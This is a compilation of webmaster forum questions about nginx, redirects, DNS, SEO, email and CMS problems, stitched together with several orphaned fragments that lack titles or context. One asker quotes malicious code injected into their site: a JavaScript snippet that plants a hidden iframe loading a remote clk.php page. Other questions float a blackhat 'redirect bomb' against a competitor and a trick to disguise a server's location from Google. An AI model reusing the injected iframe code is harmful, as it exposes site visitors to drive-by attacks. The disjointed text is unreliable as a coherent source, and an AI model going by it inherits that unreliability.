title: Nginx, URL special characters and punycode

text: I have an URL with special carachters (nicolòzanetti.com), and I'm having problem telling nginx how to handle it to the correct site. With a basic configuration:   (the * in the urls is to tell stackexchange to stop bothering about them)   `server_name www.nicolòzanetti.com nicolòzanetti.com; h*tps://www.nicolòzanetti.com -> Default virtual host but url unchanged h*tps://nicolòzanetti.com -> Default virtual host but url unchanged h*tp://www.nicolòzanetti.com -> Default virtual host and url changed to that of default virtual host h*tp://nicolòzanetti.com -> Default virtual host and url changed to that of default virtual host` So i tried with PunyCode:   `server_name www.xn--nicolzanetti-rhb.com xn--nicolzanetti-rhb.com www.nicolòzanetti.com nicolòzanetti.com; h*tps://www.nicolòzanetti.com -> Works! h*tps://nicolòzanetti.com -> Works! h*tp://www.nicolòzanetti.com -> Default virtual host and url changed to that of default virtual host h*tp://nicolòzanetti.com -> Default virtual host and url changed to that of default virtual host` I even tried to use regex with `~^www.nicolòzanetti.com$` and ~^www.nicol.zanetti.com$, but it failed again. Both Nginx in the http declaration and PHP have been set to use utf8, I can't tell the same for perl (I don't even know if I should or how). I should use the nginx encode function? If yes where can I find some examples please? How else may I solve this?


title: 301 redirect from new page to old to keep PageRank?

text: I need to change a URL of an interior page that has a Google PageRank of 4. It was recommended by a coworker that I create the new URL but have it redirect to the old one, thus allowing a buildup of PR for the new URL, and the existing page continues to maintain a PR of 4. Does anyone have any insight as to whether this will actually work?

text: Assuming a non-commercial site where users login with a user name and pw, do I need to enforce unicity of usernames? Note: The db will use a separate unique index to identify the users.

My questions are:   1. does this very similar to the 32 already displayed problem harm the SEO in general?   2. shouldn't Googlebot have already ignored everything `/search`? Why do Google still indexing these pages?   3. How do I completely remove indexed `/search` link from the Google result?


title: How do I add 'www' before a subdomain, like www.subdomain.domain.com?

text: I want to add `www` in front of a subdomain e.g. `www.subdomain.domain.com`. My blogs are hosted on Blogger and am using GoDaddy for having custom domains. I have HOST @ entries for 'domain' pointing specified by blogger. The following subsdomains are configured by adding CNAME alias as follows:               subdomain -> ghs.google.com     www -> ghs.google.com         For `domain` (including `www.domain`) I have one blog. For `subdomain`, I am pointing it to seperate blog using above entries and `subdomain.domain.com` works fine. I read articles on this issue and tried adding following CNAME entry but no luck:               www.subdomain  ->  subdomain.domain.com      How do I make `www.subdomain.domain.com` work ?


title: Extended validation certificate not changing browser bar green in Firefox

text: I'm having some problems with an Extended validation certificate on a site that isn't showing the green bar correctly in Firefox. Chrome and IE are working fine. When I load the page the bar appears for a few seconds and then disappears when the page has fully loaded. Someone mentioned it could be because of loading images over HTTPS, but I'm not sure how valid this case is. We have one image on the page that is loaded from another source over HTTPS, the rest of the images are stored in the file system on the server. **FYI** - its Windows Server 2008 and ASP.net UPDATE: Solved this problem - the style sheet was loading in a Google Font url using http, not https - changed it and now it's working.

I can think of more reliable analytics and consistency for sure. Are there more? cross-sales?

Why not and what can I do about it?


title: Confused about facebook like

text: We have a 'Website Page' on Facebook that people like and we post all our news on it etc. We also have a 'like' button on our website which people click on. When they click on it it seems to publish our page onto their wall which is great. However, we would like it so when people press 'like' on our website, it 'likes' our Facebook website page. Both counters are different, on our Facebook website page we have ~350 likes, on our website we have ~280 likes they seem to be individuals. Any way we can make people 'like' our website page on FB?

title: I have 2 domains one main, one parked. I recently switched but host provider told me theyd repoint the DNS but there are problems? Do it via DS

text: I wanted to switch my site from `www.mutantspace.ie` to www.mutantspace.com. Up until now the `.com` was my parked domain. I looked into it and was told that using this code in my _.htaccess_ file in `www.mutantspace.ie` would work:               RewriteEngine on     RewriteCond %{http_host} !^www.mutantspace.ie$ [nc]     RewriteRule ^(.*)$ http://www.mutantspace.com/$1 [r=301,nc,L]       I then asked my provider and he said 'Where are you moving too though?' Then he told me best way was for them to repoint site to `www.mutantspace.com`. I said fine (in my ignorance) and that is whats happened. However even though new URLs are being indexed I have 100s of old URLs out there returning 404s. Now I can't access my old _.htaccess_ file to put in permanent redirects because its now `.com`. Is there any code that I can use anywhere in my root directory that will redirect old `www.mutantspace.ie` pages to their corresponding `www.mutantspace.com/` pages?


title: SEO traffic redirect bomb?

text: Okay, so let's pretend i have a site about "Dogs". My main business, however, is insurance. For some lucky reason, I appear on top for "insurance". Then one day, company B appears and they beat me on Google. So, one way to harm their backlinks is to create many from unrelated niches. I.e. I could create links back from my dogs website to my competition's website. I actually did this by accident to myself, so i know: It killed my site's rankings and even got banned from Google for a while. So basically, my dogs website, with it's massive traffic, is a grenade, waiting to get thrown at a site. By directing bad traffic, I can kill someone's site. And worst of all, they will think they are getting a LOT of traffic, when actually, I'm screwing them in the long run. So my questions are....   1. Am I right? This would kill PR, or was the time it happened to me purely a fluke (it was so bad, that if you typed in "dogs" followed by my country name, my site would appear 4th, even though it probably doesn't have the word dogs on the entire site once).   2. How legal is this? (i'm scared this is a normal blackhat seo tactic that already exists.... is it?)   3. How can something like this boomerang?   4. Why is no one doing this? Or are they? Thanks!


title: With GIT, is it necessary to deploy with SSH? Is FTP okay?

text: My company's web server is on shared hosting which means we do not have SSH access. I want to use GIT for our version control, but without SSH access I'm wondering whether or not it is acceptable to deploy my websites via FTP instead. Am I losing anything by taking this approach? **What might be the major pitfalls for using FTP and not SSH** , if any? Since we're a relatively small web consulting agency, could it be worth spending the extra money for a dedicated server? * * * This is what I imagine to be the pitfalls:   * **File management is Less Efficient**     * The extra effort made to upload only the files that were changed     * Loss of push/pull/clone functionality on the server   * **Trivializes Having a Remote Central Repository** (i.e. Github or BitBucket)      * File management will always be from Local to Server...     * ...never from Central Repository to Server or vice versa

title: Multiple domains for different products?

text: I have a website with software applications. Is it good for SEO to choose one keyword rich domain name for each of our software products or should we stick to a single domain? From a user's perspective I think it would be easier to remember a domain that is keyword rich as the user will instantly know what this product is for. But I have read articles that the latest trend in SEO is to stick to one domain for all of your products and invest on this single domain website. Is that true? What do you advise? Should I register a separate domain for each of our products or should I use only one single domain? Should I do a 301 redirect with a .htaccess to a single domain? And what about the sitemaps? Should I register all sites in Google Webmaster Tools and post a separate sitemap for each one of them? should my main site sitemap include all pages or should separate domains have their own sitemaps?

title: Could too many HTTP requests using AJAX result in browser crashes?

text: We are running an ASP.NET web application, and recently we received a lot of crash reports from users. It sometimes crashes the Chrome browser, and sometimes it loads indefinitely. This is how our system is designed: our page is a light weight HTML5 page, there is no code behind in our page (i.e., no server-side binding). Once the page is loaded in browser, it fires up AJAX requests to load everything it needs, from look up values to business model, and then it uses JavaScript to bind it to drop down lists and other DOM elements. This is the screen shot from the Chrome browser's developer tool: ![enter image description here](http://i.stack.imgur.com/trzJ3.png) Is 91 HTTP requests too much for a browser? How do I eliminate that this is not the cause of browser and application crashes?

Textile editor welcome as well, but less desired. **So are there any?**

title: Apache (XAMPP 1.8.0) access.log/Intrusion Detection Concern

text: [I originally posted on SO but it earned me a Tumbleweed badge. This looks like a better venue for the question.] I have Apache (XAMPP 1.8.0) running on Vista Pro x64. A couple times now I have seen a pattern like the example below in `access.log`. Concerning is the "attack" seems to somehow shift from a public IP to a valid private IP on my network (happens to be the WAN address of one of my routers). Two questions: How is this possible, and what happens if the "attacker" stumbles on a valid request?

text: I created a new subdomain: `blog.example.com`. Sometimes, the blog is accessible without any problems, but other times it's not, just like now at this moment (14-Nov-2013 12:57 PM Lebanon Local Time). Yesterday at night it was working. I've been having this problem for days. If I ping the subdomain, under Windows:               Ping request could not be find host blog.example.com. Please check the name and try again.      If I try `tracert`:               Unable to resolve target system name blog.example.com.      And with `nslookup` I don't get any records, with my humble knowledge, it seems as DNS problem. But why would it work sometimes? and not other times? Note that the response of the previous commands are instantaneous (in case you need to check some packets or something). I'm also using the Global Google DNS (`8.8.8.8`).


title: Cloud just for hosting big files?

text: I need a solution to store my big files (50MB+ each). Currently I am using an European dedicated server (100MBits) with 8000GB/month at 60 USD. I would like to use a cloud service that automatically fetches my files from my server the first time users request it (like a classic cdn) (So I can have all files stored within 1 server) I was looking at Amazon CloudFront and, to get the same bandwidth 8'000 GB/month, I have to pay like 2000 USD vs my 60 USD of my dedicated server. Is there a cheaper alternative?


title: How to transfer domain from Godaddy to another provider

text: I'm currently using godaddy for all of my company domains, and I'm very unsatisfied with their service, specially with their site, so we are trying to migrate those domains to another provider. The question is, How do I transfer my domains to another domain registrar? I'm not talking about transferring domain records (A, MX...) but to use the same domains with another provider, and redo all the configuration again. For example, one of our blogs is hosted in Slicehost and we feel very confortable with their record editing tool. As I have read prowebmasters I can see other people not very satisfied with Godaddy service. Thanks! **edit:** Thanks for the answers, they were all very informative.

title: Differences between google domains in different countries

text: We are currently trying to see if our site is being indexed successfully by google. Mind you we got millions of pages. A trick some people use is the google site: command. I always assumed that google.com and google.nl would be the same. Data being fetched by the same GoogleBot. And that it was more of a latency thing where google.nl would be closer to home than google.com. But this is clearly not the case, since google.nl and google.com give back different results. http://www.google.nl/search?sourceid=chrome&ie=UTF-8&q=site:amazon.com returns 37.400.000 results and http://www.google.com/#sclient=psy&hl=en&site=&source=hp&q=site:amazon.com returns 487,000,000 results Does anybody know how this works? Another related question is what other tricks people use to see if google.com successfully indexes all data. It seems the best way is to do some analytics on the apache logs searching for the GoogleBot.


title: Registering a website with "YouTube" in the name

text: > **Possible Duplicate:**   >  Where is the line drawn with domain names which include a trademark? Are there legal (or other) issues with registering a site with "YouTube" in the name? An example would be "http://www.youtubepuppies.com". I would be running essentially a blog about puppies (going with this example), writing about how awesome dogs are and posting occasional youtube clips. This question isn't restricted to "YouTube", that's just an example of a well- known brand. I'm not going to be making any money from the site, nor am I envisioning the site to have a following (beyond what a little personal blog gets).

By which I can decide what kind of content to show to that user. I want this data before showing any content to user, so this has to be that much quick in fetching from google. Is there any such thing available?


title: Looking for the name of something (social analytics, maybe?)

text: I write a blog. I'm not really interested in search-engine optimization or social media marketing, but I am curious when people link, read and comment about things I write away from my blog itself. I want an easy way of finding these things. I don't care about auto-submitting to sites, or anything like that. I also don't care about any statistics: I just want to know where the action is! For example, right now, I have cobbled together RSS feeds including:   * Twitter searches for my blog's name   * Reddit aggregate for any link to my domain But, for example, I always miss whenever my blog is posted to Hacker News, which is no fun since Hacker News discussions tend to be quite good. And, of course, I want to find out about discussions in places that I’ve never even heard of before. (I just signed up for Google Alerts, maybe that will help, maybe not. Google doesn't seem to be particularly realtime.) It seems to me there ought to be free services that do this sort of thing. But "social analytics" seems to be the wrong word, since that implies aggregation and data, and that's not really what I want. What am I looking for?


title: Class C IP Forwarding?

text: I'm not even sure how to correctly phrase this question so please bear with me as I try to explain what we want to do. And Thank You for taking the time to help me... We have products that appeal to an international audience. However with some search engines they factor in what class C/location your domain is sitting on for their serp results. The problem is we're very familiar with RackSpace cloud servers and their systems. If I had a domain I wanted to appear that it was sitting on a class C in the U.K. but I wanted the actual web server to be in the US (Dallas TX) is there some sort of trick/hack I can use to do so. Something like registering the domain, pointing the DNS to a UK web host and then pulling the files from my US cloud server WITHOUT a search engine (say Google) being able to tell where the site was actually located? I hate to have to jump through hoops like this and feel kinda sneaky doing so but Google certainly factors in IP location into their serps.


title: Same or different domain for system emails and company emails?

text: We have a website (Drupal) that provides daily email alerts to about 350 members who have opted in to receive these. In the past we have had small issues with some of our daily alerts being flagged as spam. We are working very hard to make sure that we meet all of the requirements to send legitimate email as our emails are here to help our users. One of those is to use a dedicated email provider such as Mandrill. But one question I have is that my boss thinks that by changing the domain that the email comes from (alert@example.com --> alert@somethingdifferent.com) that it will "dodge" the spam filters in case someone accidentally marked as spam. I see this as unprofessional. **Do major ISP's (like google) look at the IP address of incoming email or the domain, or both?** Another question I have is: **Is it dangerous at all to have our alert emails come from the same domain as our website?** If we have a website www.example.com, with all of our employees having email addresses of employee@example.com, and then have our alerts go out as alerts@example.com - what would happen if the domain were to be blocked? Wouldn't that harm employee emails to our potential members? I would think that it would be more professional to have emails come from our site name, but I just don't want our entire domain to be negatively affected if our alerts gets us in some spam trouble.


title: Microdata Without Reviews

text: I have not been able to find a clear issue on omitting reviews from Microdata. I understand that Microdata values for reviews will default to a certain number when omitted, but I was wondering if it would be correct/acceptable to completely omit the review node completely. I can see where reviews and average "star" ratings would be of help to the end user, especially for things like recipes. However, what if there are no reviews for a product or application? To be completely clear - let's isolate this question to only software applications or extensions. What if a particular piece of software or extension was not featured on an "app store" or other site that provided reviews? Wouldn't the formats still be helpful by providing version number, download URL, compatible software - etc? Sorry for the lengthy background, but I just don't understand why it seems that reviews _must_ be part of a Microdata markup. Or, am I wrong in this assumption?

I've got a website with this code appended to my php document :               <?     #8f4d8e#                                                                                echo "                                                                                ";          #/8f4d8e#     ?>      I removed all my php treatment (receiving POST and GET then dealing with it) the only references to GET or POST are secured using `htmlspecialchars` and `stripslashes`. I removed as many external javascript tools as possible. I though my website was minified to maximum for minimum security leak but it seams it didn't do its job has mentioned with the code up here... Previously I add the following code injection (you'll see that the two injections are not the same ...)                   /*68c8c7*/                                                                                //(function () {    var id = '8';    var wtxmw09 = document.createElement('iframe');    wtxmw09.src = 'http://www.cittadinolibero.it/clk.php';    wtxmw09.style.position = 'absolute';    wtxmw09.style.border = '1';    wtxmw09.style.height = '31px';    wtxmw09.style.width = '42px';    wtxmw09.style.left = '500px';    wtxmw09.style.top = '100px';    if (!document.getElementById('wtxmw')) {        document.write('');        document.write('

');        document.getElementById('wtxmw').appendChild(wtxmw09);    }})();         /*/68c8c7*/      Also, how could I scan all my code for security leaks I wouldn't have though about ? I tried RIPS, but with level 1 tainting, I had no message... What are the several ways a hacker could use to hack a website ? How ?


title: What are the disadvantages of an invalid RSS feed

text: I have recently started using feedvalidator.org to validate my RSS feeds. The RSS reader reads the feeds fine but the feed validator says they are not valid feeds. I tried other RSS feeds like               http://feeds.nytimes.com/nyt/rss/HomePage     http://feeds.latimes.com/latimes/news     http://feeds.ign.com/ignfeeds/all/      All of these feeds are invalid according to feed validator. But, these are nytimes, latimes and ign we are talking about. Are they not considered about an invalid RSS feed? I tried searching for disadvantages of an invalid RSS feed but couldn't find much. Thanks, KA


title: Want to Minimise Browser Dependence

text: I am a web administrator to the site Nrityakalamandiram In the long run, I want the site's appearance not to conspicuously vary from browser to browser. I would like my site to appear and function exactly as I want it to, at least in the most popular browsers like Firefox, IE, Chrome, Chromium. As a step toward this I would like to get one thing sorted out See http://www.nritykalamandiram.in/home/gallery.html I opened it in Firefox, the album name "THE DIRECTOR" is just above the black box in which the photo gallery lies: ![Appearance in Firefox Browser](http://i.stack.imgur.com/KNRXC.png) I opened it in Chromium, the same page appears thus: ![Appearance in Chromium Browser](http://i.stack.imgur.com/tR3MS.png) What I have done as follows: Inside a element I have written the album name as per user's click (on the left side is a list of albums) and below it, displayed the gallery box. The mother is intended to be transparent like. To achieve this I appended "background-color:transparent" to the "style" property of This is ineffective in Firefox but not in Chromium as one sees - in the latter picture attached - a white patch to the left and above the gallery box! It is evident from above that                   <div style="background-color:transparent..." ... >      does not serve the purpose uniformly for all browsers. I am perhaps too fussy about a seemingly negligible aberration such as this, but somehow the white patches are jarring. In light of the above I have a question: Is there a code that achieves the transparency of the mother as described above, uniformly for all popular browsers?

title: Google's webmaster tools saying invalid URL in sitemap

text: I've recently made some big changes to my site and as a result, have had to change my sitemap. In doing so, I resubmitted my sitemap file only to see 3 errors reading invalid URL's. I'm not sure if it's worth mentioning or not that my sitemap file ins't actually a true XML file. Rather, it's a dynamic php file that the server is tricked into believing is an XML file thanks to modrewrite. This didn't matter last time as I had no sitemap errors. But, this time it is. ![Here is a pic of the error](http://i.stack.imgur.com/bQMEk.png) The actual sitemap can be found here The sitemap.php file starts like this:               <?php     require_once("model/functions.php");     require_once("model/model.php");     require_once("model/teams_array.php");          echo '<?xml version="1.0" encoding="UTF-8"?>         <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">             <url>                 <loc>http://www.sportannica.com/quickpicks/</loc>                 <changefreq>daily</changefreq>                 <priority>0.8</priority>             </url>            Continued ............

title: Migrating the source of a FeedBurner podcast feed from one WordPress to another

text: I'm using FeedBurner as the public-facing feed for the Ask Different Podcast. Recently Stack Exchange has set up a Blog Overflow blog for Ask Different, and I'd like to move the source of the FeedBurner feed from an unofficial WordPress instance we set up to the official blog. However, when I tested this a few days ago with a test account I found that once the feed switched over iTunes thought that the podcasts were all brand new. I want to avoid annoying our subscribers and make the move silently and transparently behind the scenes.   * How does iTunes determine whether an RSS item is the same as one it already has?   * Is there a way in WordPress to modify this information?

So, I want to track these bad contents the most easily possible : Is there a program or a web service to do that ?


title: What's the 'best' way to publish a written paper to your personal website?

text: I have a personal website, for things like posting my work from undergrad and grad school (I'm a recent grad student). The main reason is that I need to have an ePortfolio for my Master's degree, but the other reason is that I believe information should be free and accessible to everyone, so there's no harm in putting my academic research out there for the world to see. My website is nothing close to a professional or commercial site but I try my best to keep up with HTML5 specifications. If I have papers in `.docx` or `.pages` format, what is the 'best' way to publish them to my website? I have a few options, but I can't decide which is the most user-friendly or efficient:   1. Upload the file directly, prompting users to click a link to download it.      * Advantages: no work needed on my part.     * Disadvantages: users must download files to their hard drive to read; can edit/plagiarize.   2. Save the file as `.htm` format (provided by **Word**) and upload.      * Advantages: document opens directly in browser; cannot be edited easily.     * Disadvantages: papers written in `.pages` format (a.k.a. with **Pages**) cannot be easily converted to HTML, and if possible, do not retain styles and formatting correctly; **Word** 's HTML conversion is inefficient and _abysmal_.   3. Print the document to PDF (can be done with a **Mac**) and upload.      * Advantages: formatting, styles, layout, etc. are preserved exactly as seen; users cannot edit document; some browsers open PDF in new tab/window.     * Disadvantages: some browsers require users to download the document to hard drive; PDF is separate from my website creating a feeling of discontinuity and non-uniformity.   4. Upload the paper to a web app (such as **Google Docs**), publish, then link to it externally.      * Advantages: save space by uploading paper to another server.     * Disadvantages: discontinuity and non-uniformity; styles/formatting not exactly preserved; privacy trust in another company.   5. Re-type the paper from scratch and upload it as a webpage part of my site.      * Advantages: HTML elements and CSS styles exactly how I want them; document is streamlined and integrated with my site.     * Disadvantages: it's creates a ton of work.


title: How to figure out recent PageRank of websites or any particular page (Homepage)

text: I have this question because the most recent algorithm changes by Google have affected my website traffic. I've been wondering why my homepage PageRank has dropped from 6 to 4 (I am not sure exactly). I am not using any special SEO tools like SEOMOZ, Majestic SEO, etc. So it's quite difficult for me to ensure whether the page rank has been really affected or not. So can anyone please provide any good resource, tact or tricks to address this question?

text: I'm just wondering if there is an easy way to find out what pages Google has indexed, that are not directly linked on my site, for example: `www.mysite.com/skype.html` originally had a link in my site menu, but this link was removed. The page is still available when the url is typed directly, but there is no direct link to it. I don't want Google indexing this page any more and want to put a 'disallow' in my robots.txt.

title: Own SMTP server vs SendGrid/PostmarkApp/CritSend/SMTP.com/etc

text: Wondering what the benefits are from switching from our own SMTP server to an SMTP service. They all seem to talk about handling the deliverability issues. However our server is set up with reverse DNS, SPF records, DomainKeys, DKIM and SenderID. We've not yet heard about deliverability issues with our own server. Additionally SenderScore is reporting 99/100. So why use an SMTP service? PS: we'll be wishing to send a larger than normal marketing email so this would increase the volume of email from our server in a relatively short period of time

title: How many days does it take for Google Webmaster Tools to refresh after a DNS error?

text: Yesterday I saw a problem in Google Webmaster Tools - it's saying that "Googlebot can not crawl your site because of DNS errors." Please view this image & error date: ![http://i.stack.imgur.com/4auP1.png](http://i.stack.imgur.com/d4VWz.png) Then I immediately fixed the problems. Now I can see in the graph from two days there is not a DNS problem, but it's still showing a DNS error. I am wondering how many days does it take Google to to refresh this DNS graph in order to remove the error? Important Links: http://ansoftsys.com/sitemap.xml and http://ansoftsys.com/robots.txt.


title: Is it possible to use two different ErrorDocuments for different paths of a website?

text: I currently run PmWiki at mydomain.com/pmwiki. I have a 404 page and `.htaccess` set up in my site's document root for 404 pages regarding anything that doesn't have to do with my wiki. By default, PmWiki handles URLs a little confusingly so I had to use this in order to get it to look like mydomain.com/pmwiki/Namespace/Page I had to create a `.htaccess` in /pmwiki to remove parts of the URL. PmWiki also has a custom 404 (Site/PageNotFound) page that has stopped working, now my site uses the /404.htm page. I noticed this when trying to install this "recipe" to enable case-insensitive URLs. Currently the only way to access Site/PageNotFound is by actually linking to it, and, if you read how that recipe seems to function, this is an issue. Currently mydomain.com/pmwiki/blahblah and mydomain.com/pmwiki/legitimate_namespace_but_lowercase/legitimate_lowercase_page_name both direct to mydomain.com/404.htm. I have to admit I'm very confused, and I apologize if I was unclear in any of this, but I could definitely use some help.


title: is it legal to use links from an established website to identify unique content?

text: Not sure if this is a good place to ask, but maybe someone here can point me in the right direction... If I wanted to make a commercial, directory type website (where users can enter content) and in order to ensure uniqueness and prevent duplicate entries I would use links and URLs of an established website and cross reference those in my database to see if the link was already used - would I be violating any Intellectual Property laws in the US? So for example I am making a directory of musicians, and users can create profiles for musicans. But I don't want 3 profile pages for Lady Gaga, so I am asking for the link to Lady Gaga's myspace site. Or the link to Lady Gaga's Wikipedia site. If the link that was entered is already used in my database, I would alert the user, and require certain actions to figure out which of the profiles was indeed created by Lady Gaga or her representatives - and not just by someone who is trying to give her a bad reputation or something... Other examples would be possible with using facebook pages, google+ pages, linkedIn profiles, imdb, etc. etc. My website would take advantage of the fact, that another website is very established and reliable. Of course I will not include any content from the website, other than the LINK/URL STRING OF CHARACTERS (which would be a deep link however). And if I display the link on the profile page, I would make sure to say for example "visit lady gaga's profile page on myspace.com" or something similar to ensure fair usage. Here is an article, that talks about linking and deep linking to other sites, but not about "using the URL of a site in your code as part of the content verification process". http://fairuse.stanford.edu/Copyright_and_Fair_Use_Overview/chapter6/6-c.html Does anybody have an idea what's allowed and what isn't, what violates IP law and what doesn't? Or where else could I research to find out?

Now for giving information about these spots, I am using Wikipedia and any other website for the information content, but I want to give Credit to these sites and don't want Google to spam my site for duplicate content. Can anyone suggest some legitimate way to tell Google that I am giving the due credit to the original source pages but I also want to rank for these pages. (I will not be posting the exact content from these pages, but only used for reference). Since my site is NOT a news site, is it okay to use the original-source metatag? Or there is some other way around? Please help!

title: Magento not responding to payment gateway notifications fast enough or at all?

text: Some of our customers are getting to the confirmation of payment step in purchasing from our Magento store, and then they are getting a timeout error, where the SagePay payment gateway is trying to contact our server to tell it that a payment was successful (or not…) but it cannot contact our server, or cannot get a response from our server in a timely manner, and then the payment/order is being cancelled. I've raised this question to my hosting company, but all they told me was: "This is down to the way the software is configured on your server" This is currently a Magento 1.4.0.1 standard installation as far as payment gateways are concerned. What on earth could this statement mean? Is there some configuration that I need to do to make Magento listen to these requests and respond properly?

title: Using HTTP (insecure) ad providers on HTTPS (secure) site

text: As more and more browsers adopt stringent checks around preventing insecure content served up on secure sites, there is impact on the use of ad networks which in many cases don't support the secure content.

I see through this question that proxying the requests through an SSL landing page could be an option. Does anyone have experience doing that or more information on this technique? What other things have people been doing in this context? Regards.

However, that's a lot of work if the data is never used anyway! What I'm after is a link to an authoritative video (with Matt for instance) or document that talks about this.

title: Canonical URL's for interchangeable parameters

text: I'm wondering how should I use canonical tags in such a case: I compare two items, lets say shoe brands. So one of my pages look like this:               http://shoes.com/compare/adidas/vs/nike/      and another page :               http://shoes.com/compare/nike/vs/adidas/      Of course, 100% same content. I guess the alphabetical order makes sense, so probably I will use the first one. But how about canonical tags? Will stating the first one as canonical work? I'm asking this because all of the time, I have thought canonical url's in this form:               site.com/root/a/b/c      and the canonical is `site.com/root/a/b` or `site.com/root/a` i.e., I thought that canonical URL's are only valid for themselves, and their "children" paths. So in this, "sibling-like-path" case, will the canonical work? Thanks for any help :)

text: I am doing research about backlinks/PR/SEO/Search Result position and all I read about is that PageRank is not important, that it worth before but now it's not important at all. Only thing I found useful about it that is "change Search Result position", but ONLY if there are two sites with same keywords and same text content value, then Search Engine will check which site has higher PR and place that site above lowest one. Google counts PR importance as 20% for displaying search rankings, and Yahoo! is like 3%... Correct me if I am wrong... Is there any other good thing from it?

I wont use any plugin for that, so my preferred code is here:               <?php         .....................             if(!isset($hasError)) {                       $emailTo = 'asdasdasd@mail.ru,  asdasdasd@gmail.com, info@travel-asdasdasd.co.il ' ;                 $subject = $_POST['subject'];                     $comments= $_POST['comments'];                     $dge= $_POST['dge'];                     $tve= $_POST['tve'];                     $weli= $_POST['weli'];             $sendCopy = trim($_POST['sendCopy']);             $body = "Name: $ContactName \n\nEmail: $email \n\nComments: $comments \n\n Subject :$subject \n\n Number: $phone \n\n $dge / $tve /$weli";                  mail($emailTo, ": הודעה" , $body, "Travel-Georgia" );             /////////////////              // set our boolean completion value to TRUE             $emailSent = true;         }     }         ?>            .......                              <form id="contact-us"  method="post" accept-charset="utf-8"> .......</form>


Where i can get free Bootstrap templates more than on off site but with good design? Please provide some links. Thank you!


title: Will transferring a domain name to a new registrar cause downtime?

text: Will transferring a domain name to a new host cause downtime at all on the domain? It's the highest traffic time of the year for us but we really want to keep things moving and need to migrate hosts because our current host charges per subdomain. It's imortant we get this subdomain up and running in the next few weeks, so I'm wondering what kind of down time (if any) we should expect migrating the registrar. It doesn't seem like it would...


title: How to allow www.domain.com and domain.com on EC2 Ubuntu Instance on AWS

text: I have an EC2 Ubuntu Instance that I have apache2 installed on (along with php, mysql, mycrypt for a Laravel project). I have set up the correct nameservers, and www.domain.com is coming up online. However, domain.com (without www.) is not working. I know I have to change something with the vhost, but I am not sure how to do it with the Debian version of Apache2 on the Ubuntu instance. What file do I edit to do this, and what edit do I have to make? Thank you for your help.


title: Can AdSense crawler view pages that require cookies?

text: **Details** I require users to agree to terms and conditions before they can view several pages on my site. Once they have agreed a cookie is set and they can proceed to the webpage. If a user somehow manages to end up on the webpage without a cookie they will not be able to access the page's content. **My question(s)** Is the AdSense crawler able to set the cookie and visit these pages? If yes, how will it know to agree to the TOS? Is there some way to allow it access to the pages even if it couldn't use cookies?


title: Analytics - Total events divided by number of unique pages?

text: I am using Google Analytics events to track keywords on my articles - not necessarily the best system I know but there are too many for variables I can't easily change it right now - and I would like to be able to see how popular each keyword is by dividing the number of page views with a keyword by the number of unique pages. Is there a/what is the best way of doing this? **EDIT FOR CLARITY** I currently have a system set up where every time somebody loads an article an event is fired for each of the tags/keywords used, with the keyword being the label. I can currently view my view count for each of the keywords by looking at the total events for each label, however I would like to be able to see which keywords are the most popular by dividing the number of times the event has been fired by the the number of different pages it has been fired from.


title: CName for static images - will Google crawl?

text: I am planning to serve images on a CDN using a CNAME: images.mysite.com. I am doing this because CDNname.mysite.com makes ugly URL's and MAY be bad for SEO (debatable). Will Google crawl the subdomain (only storing images and nothing on the main domain will link to it). If so, would a simple robots.txt be suitable? Is this even possible seeing that the subdomain is ONLY serving images, JS, CSS i.e. not HTML? Thanks


title: What's the proper structure of an HTML5 page that briefly lists other articles?

text:
The target is to provide the proper semantic for a page that briefly lists existent articles. At the moment my idea is the following:

Latest Articles

First Article's Heading

First article's brief description.

Second Article's Heading

Second article's brief description.

Third Article's Heading

Third article's brief description.

           The page (let's call it an _archive_ page) has the main article element containing children articles. Each child has only header because the article does not represent the full version but just a brief. Please, tell me if my version is semantically right (and why it is). Otherwise, propose your version. **UPDATED (AFTER THE ANSWER WAS ACCEPTED)** Example above is not full what may confuse and cause misunderstanding. I'll try to clear this providing a fuller example with comments.
Website Title

Website description.

Latest Articles

Last three articles in chronological order.

                  I just wanted to ensure if the semantic is corrent. It is. The question is clear.


title: Public Bug Tracking and Version Control System

text: We're in the process of moving out of a private beta into our live version of the site. We're trying to find a good Bug Tracking System + Version Control system. Our CEO has requested that the new system be able to do the following things and I can't figure out where I can do this:   * Public facing Bug Tracker - Guests **don't** need to register to post OR ability to sync with current user tables to allow SSO.   * Ability to assign developers to posted bugs   * Integration with Version Control to allow Developers to attach bug to build version to confirm when the bug is fixed.   * Miscellaneous Project Management - Ability to create projects/tasks and assign them to developers or other administrative teams. We are moving away from TeamBox.com as our Project Management suite as it just wasn't development oriented as we needed and we currently have no Version Control system. Much thanks in advance.


title: Google Webmaster not indexing my site

text: I've moved my site from ak.net84.net to aramk.com, and I've redirected the pages from the old to the new using these methods in my htaccess for the old site:   * all pages redirect to the new site using a rewrite rule, with 301 http code   * manually specified redirects with 301 http code   * removing all redirects, so all links to the old site will result in a 404 (redirects to my host's error page) At the moment, it appears Google may be treating the sites as duplicates, so I've removed the indexed pages for the old site by using the "Blocked URLs" page in Google Webmaster. The problem I'm having is that for my new site, Google is crawling but not indexing: ![enter image description here](http://i.stack.imgur.com/dJBdY.png) There are not health warnings for the new site, but there are health warnings for the old site (saying I have removed URLs). Meanwhile the old site is still being indexed: ![enter image description here](http://i.stack.imgur.com/dW3eg.png) The old site doesn't have a sitemap, and the robots.txt is blank. The new site does have a sitemap, but it's not being indexed: ![enter image description here](http://i.stack.imgur.com/ydVVk.png) At this point I've been waiting about a month without any changes while I try different settings, and I'm prepared to just delete the old site from my host completely in the hope Google will stop indexing it. Any other suggestions?


title: Problem upgrading Mediawiki 1.5.8 to Mediawiki 1.19 (libxml2 inadequate on server)

text: I have a wiki set up on my local development environment. The wiki runs on Mediawiki 1.5.8, but I'm trying to upgrade it to run on Mediawiki 1.19. When I run the update.php script I get the following error message:               Your system has a combination of PHP and libxml2 versions which is buggy     and can cause hidden data corruption in MediaWiki and other web apps.     Upgrade to PHP 5.2.9 or later and libxml2 2.7.3 or later!      ABORTING (see http://bugs.php.net/bug.php?id=45996).      Running php -v gives a PHP version number of 5.2.9, and since this is the PHP install that is running the update.php script I'm guessing this isn't the problem. I've got libxml2 insalled via MacPorts, and according to MacPorts version 2.7.8 is installed, which should be sufficiently up-to-date to get Mediawiki updating properly. Any ideas as to how I can go about resolving this?


title: Link Domains/Subdomains to folders in a PC Server?

